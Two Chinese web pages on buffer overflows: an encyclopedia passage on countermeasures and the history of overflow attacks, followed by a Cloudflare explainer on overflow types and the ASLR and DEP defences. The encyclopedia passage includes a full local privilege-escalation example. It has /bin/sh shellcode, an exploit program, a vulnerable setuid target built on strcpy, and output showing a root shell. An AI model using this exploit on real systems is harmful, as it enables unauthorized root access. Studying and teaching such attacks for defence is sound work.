Windows系统由于要实现更好的性能和功能,往往在数据段中动态地放入可执行的代码,这也是缓冲区溢出的根源。为了保持程序的兼容性,不可能使得所有程序的数据段不可执行。但是可以设定堆栈数据段不可执行,这样就可以保证程序的兼容性。Linux和Solaris都发布了有关这方面的内核补丁。因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题,除了在Linux中的两个特例,这时可执行的代码必须被放入堆栈中:⑴信号传递Linux通过向进程堆栈释放代码然后引发中断来执行在堆栈中的代码来实现向进程发送Unix信号。非执行缓冲区的补丁在发送信号的时候是允许缓冲区可执行的。⑵GCC的在线重用研究发现gcc在堆栈区里放置了可执行的代码作为在线重用之用。然而,关闭这个功能并不产生任何问题,只有部分功能似乎不能使用。非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其它形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其它的攻击可以采用把代码植入堆或者静态数据段中来跳过保护 [3]。编写正确的代码编写正确的代码是一件非常有意义的工作,特别象编写C语言那种风格自由而容易出错的程序,这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。最简单的方法就是用grep来搜索源代码中容易产生漏洞的库的调用,比如对strcpy和sprintf的调用,这两个函数都没有检查输入参数的长度。事实上,各个版本C的标准库均有这样的问题存在。此外,人们还开发了一些高级的查错工具,如fault injection等。这些工具的目的在于通过人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞。还有一些静态分析工具用于侦测缓冲区溢出的存在。虽然这些工具帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。所以,侦错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。相关对策播报编辑每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。攻击实例播报编辑先来看一个Linux下的缓冲区溢出攻击实例。#include #include extern char **environ;int main(int argc,char **argv){char large_string[128];long *long_ptr = (long *) large_string;int i;char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07" "\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d" "\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";for (i = 0; i < 32; i++)*(long_ptr + i) = (int) strtoul(argv[2],NULL,16);for (i = 0; i < (int) strlen(shellcode); i++)large_string[i] = shellcode[i]; setenv("KIRIKA",large_string,1);execle(argv[1],argv[1],NULL,environ);return 0;}攻击程序exe.c#include #include int main(int argc,char **argv){char buffer[96];printf("- %p -\\n",&buffer);strcpy(buffer,getenv("KIRIKA"));return 0;}攻击对象toto.c将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s toto# ls -l exe toto-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*-rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*# exitOK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们的身份。其实Linux继承了UNⅨ的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto 0xbffffc38- 0xbffffc38 -bash# whoamirootbash#第一次一般不会成功,但是我们可以准确得知系统的漏洞所在――0xbffffc38,第二次必然一击毙命。当我们在新创建的shell下再次执行whoami命令时,我们的身份已经是root了!由于在所有UNⅨ系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经被攻破了。通过模拟一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲区溢出的典型攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权限。有一点需要说明的是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结果后您可能会发现您的权限并没有改变。使用本文代码包中所带的exe_pro.c作为攻击程序,而不是exe.c [1]。新手上路成长任务编辑入门编辑规则本人编辑我有疑问内容质疑在线客服官方贴吧意见反馈投诉建议举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封©2024 Baidu 使用百度前必读 | 百科协议 | 隐私政策 | 百度百科合作平台 | 京ICP证030173号 京公网安备110000020000

什么是缓冲区溢出? | Cloudflare

什么是缓冲区溢出? | Cloudflare解决方案 按主题按需要分行业公众利益联系销售产品我们的产品适用于您的员工适用于应用和基础设施开发人员专用消费者服务需要协助选择吗?查看最新内容联系销售定价我们的计划与价格企业版比较所有计划需要协助选择吗?查看常见问题解答联系销售资源文档入门应用程序安全应用程序服务零信任服务开发人员平台网络服务见解APIAI资源中心学习趋势与见解博客Cloudflare TV社区论坛获得帮助联系销售合作伙伴合作伙伴网络技术合作伙伴对等互联门户Cloudflare 代理计划合作伙伴网络为何选择 Cloudflare选择 Cloudflare 的理由了解 Cloudflare比较信任 Cloudflare 的理由资源中心博客企业级服务探索案例研究联系销售注册注册遭到攻击?遭到攻击?登录登录支持社区支持帮助中心联系 Cloudflare无法访问帐户?登录登录skip to content销售: 010 5387 6315010 5387 6315支持登录解决方案产品定价资源合作伙伴为何选择 Cloudflare支持遭到攻击?注册注册遭到攻击?登录登录解决方案产品定价资源合作伙伴为何选择 Cloudflare支持遭到攻击?注册什么是缓冲区溢出?当程序向缓冲区中写入数据的程序使该缓冲区的容量过载时,就会发生缓冲区溢出。这就像将 12 盎司的牛奶倒入 8 盎司的杯子中。学习中心Web 应用程序安全API安全解决方案 | Cloudflare 中国官网常见威胁更多攻击勒索软件词汇theNET学习目标阅读本文后,您将能够:定义缓冲区解释缓冲区溢出及其如何被用于网络攻击了解谁最容易受到攻击以及如何防范缓冲区溢出攻击相关内容Web 应用程序安全数据抓取跨站点请求伪造暴力攻击使用 HTTPS 的原因是什么?想要继续学习吗?订阅 TheNET,这是 Cloudflare 每月对互联网上最流行见解的总结!订阅 theNET参阅 Cloudflare 的隐私政策,了解我们如何收集和处理您的个人数据。复制文章链接 什么是缓冲区溢出?

缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖。换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的数据。

攻击者可以利用缓冲区溢出修改计算机的内存,以破坏或控制程序的执行。

什么是缓冲区?

缓冲区或数据缓冲区是一个物理内存存储区,用于在将数据从一个位置移到另一位置时临时存储数据。这些缓冲区通常位于 RAM 内存中。计算机经常使用缓冲区来帮助提高性能。大多数现代硬盘驱动器都利用缓冲的优势来有效地访问数据,并且许多在线服务也使用缓冲区。例如,在线视频传送服务经常使用缓冲区以防止中断。流式传输视频时,视频播放器一次下载并存储 20% 的视频到缓冲区,然后从该缓冲区进行流式传输。这样,连接速度的小幅下降或快速的服务中断都不会影响视频流性能。

缓冲区旨在容纳特定数量的数据。除非利用缓冲区的程序具有内置指令以在将太多数据发送到缓冲区时丢弃数据,否则程序将覆盖缓冲区附近的内存中的数据。

攻击者可以利用缓冲区溢出来破坏软件。尽管这个隐患得到了很好的理解,但缓冲区溢出攻击仍然是困扰网络安全团队的主要安全问题。2014 年,由于 SSL 软件中的缓冲区溢出漏洞,一种被称为“心脏出血”的威胁使亿万用户受到攻击。

攻击者如何利用缓冲区溢出?

攻击者可以故意将精心制作的输入馈入程序,程序将尝试将该输入存储在不够大的缓冲区中,因此输入会覆盖连接到缓冲区空间的部分内存。如果程序的内存布局定义明确,则攻击者可以故意覆盖已知包含可执行代码的区域。然后,攻击者可以用自己的可执行代码替换这些代码,这可以大大改变程序的工作方式。

例如,如果内存中的被覆盖部分包含一个指针(指向内存中另一个位置的对象),则攻击者的代码可以用另一个指向漏洞利用有效载荷的指针来替换该代码。这样就可以将整个程序的控制权转移给攻击者的代码。

谁容易受到缓冲区溢出攻击?

某些编程语言比其他编程语言更容易发生缓冲区溢出。C 和 C++ 是两种脆弱性较高的热门语言,因为它们不包含内置的保护措施以防止访问或覆盖内存中的数据。Windows、Mac OSX 和 Linux 都包含用这两种语言编写的代码。

Java、PERL 和 C# 等更现代的语言具有内置特性,可帮助减少缓冲区溢出的机会,但不能完全阻止缓冲区溢出。

如何防范缓冲区溢出攻击

幸运的是,现代操作系统具有运行时保护,可帮助防护缓冲区溢出攻击。我们来探讨有助于防护漏洞利用风险的 2 种常见保护措施:

地址空间随机化 - 随机重新排列进程的关键数据区的地址空间位置。缓冲区溢出攻击通常依赖于了解重要的可执行代码的确切位置,地址空间的随机化可以使这种了解几乎不可能。

防止数据执行 - 标记内存的某些区域(可执行或不可执行),防止漏洞利用运行不可执行区域中的代码。

软件开发人员还可以通过使用内置保护的语言编写或在其代码中使用特殊的安全性程序,来预防缓冲区溢出漏洞。

尽管存在上述预防措施,但开发人员仍然发现了新的缓冲区溢出漏洞,有时是在遭遇成功的漏洞利用之后。发现新漏洞时,工程师需要修补受影响的软件,并确保该软件的用户可以获取补丁。

缓冲区溢出攻击有哪些类型?

缓冲区溢出攻击有很多类型,它们采用不同的策略并针对不同的代码段。以下是一些最著名的类型。

堆栈溢出攻击 - 这是最常见的缓冲区溢出攻击类型,涉及到调用堆栈上的缓冲区溢出*。

堆溢出攻击 - 这种类型的攻击针对开放的内存池中称为堆的数据*。

整数溢出攻击 - 在整数溢出中,算术运算得出对于要存储结果的整数类型而言太大的整数;这可能导致缓冲区溢出。

Unicode 溢出 - Unicode 溢出通过将 Unicode 字符插入需要 ASCII 字符的输入中来创建缓冲区溢出。(ASCII 和 unicode 是使计算机表达文本的编码标准。例如,字母“a”由 ASCII 中的数字 97 表达。虽然 ASCII 码仅用于表达西方语言中的字符,但 unicode 可以为地球上几乎所有书面语言创建字符。因为 unicode 中有更多可用的字符,所以许多 unicode 字符大于最大的 ASCII 字符。)

*计算机依赖于两种不同的内存分配模型,称为堆栈和堆;两者都位于计算机的 RAM 中。堆栈结构整齐,并以“后进先出”的模型保存数据。最后放入堆栈中的任何数据都将首先发出,就像是插入弹夹中的最后一颗子弹将被首先发射一样。堆则是杂乱无章的额外内存池,数据不会以任何特定顺序进入或离开堆。由于从堆栈访问内存比从堆访问快得多,因此通常将堆保留为供较大的数据段或程序员想要显式管理的数据使用。入门Free 计划企业级服务比较各项计划获得推荐请求演示联系销售关于 Web 应用程序安全网络安全 Web 应用程序安全OWASP Top 10OWASP API 安全排行榜 10 强什么是数据泄露?使用 HTTPS 的原因是什么?常见威胁暴力攻击缓冲区溢出攻击跨站点脚本跨站点请求伪造在途攻击钓鱼攻击勒索软件勒索软件即服务 (RaaS)社会工程学攻击SQL 注入供应链攻击零日漏洞利用VPN 资源VPN选择最佳 VPN安全术语什么是 API?API 是如何工作的?API 调用API 端点云 APIAPI安全解决方案 | Cloudflare 中国官网攻击手段边界网关协议 (BGP)BGP 劫持静态数据纵深防御端点端点安全HTTPS 检查妥协的指标 (IoC)物联网安全横向移动恶意有效负载熔毁/幽灵 (Meltdown/Spectre)NGFW渗透测试Maze 勒索软件Petya 和 NotPetyaRyuk 勒索软件WannaCry 勒索软件密钥管理安全运营中心(SOC)影子 APISTIX/TAXII假报警威胁搜寻威胁情报威胁情报数据源威胁建模如何保护网站安全如何防止勒索软件攻击如何防止 SQL 注入如何提高 WordPress 安全性什么是信息安全?什么是网络钓鱼?What is SIEM学习中心导航学习中心主页DDoS 学习中心DNS 学习中心CDN 学习中心性能学习中心无服务器学习中心SSL 学习中心机器人学习中心云学习中心访问管理学习中心网络层学习中心隐私学习中心视频流式传输学习中心电子邮件安全性学习中心AI 学习中心© 2024 Cloudflare 公司科赋锐 (北京) 信息科技有限公司京ICP备2020045912号隐私政策使用条款报告安全问题信任与安全Cookie 首选项商标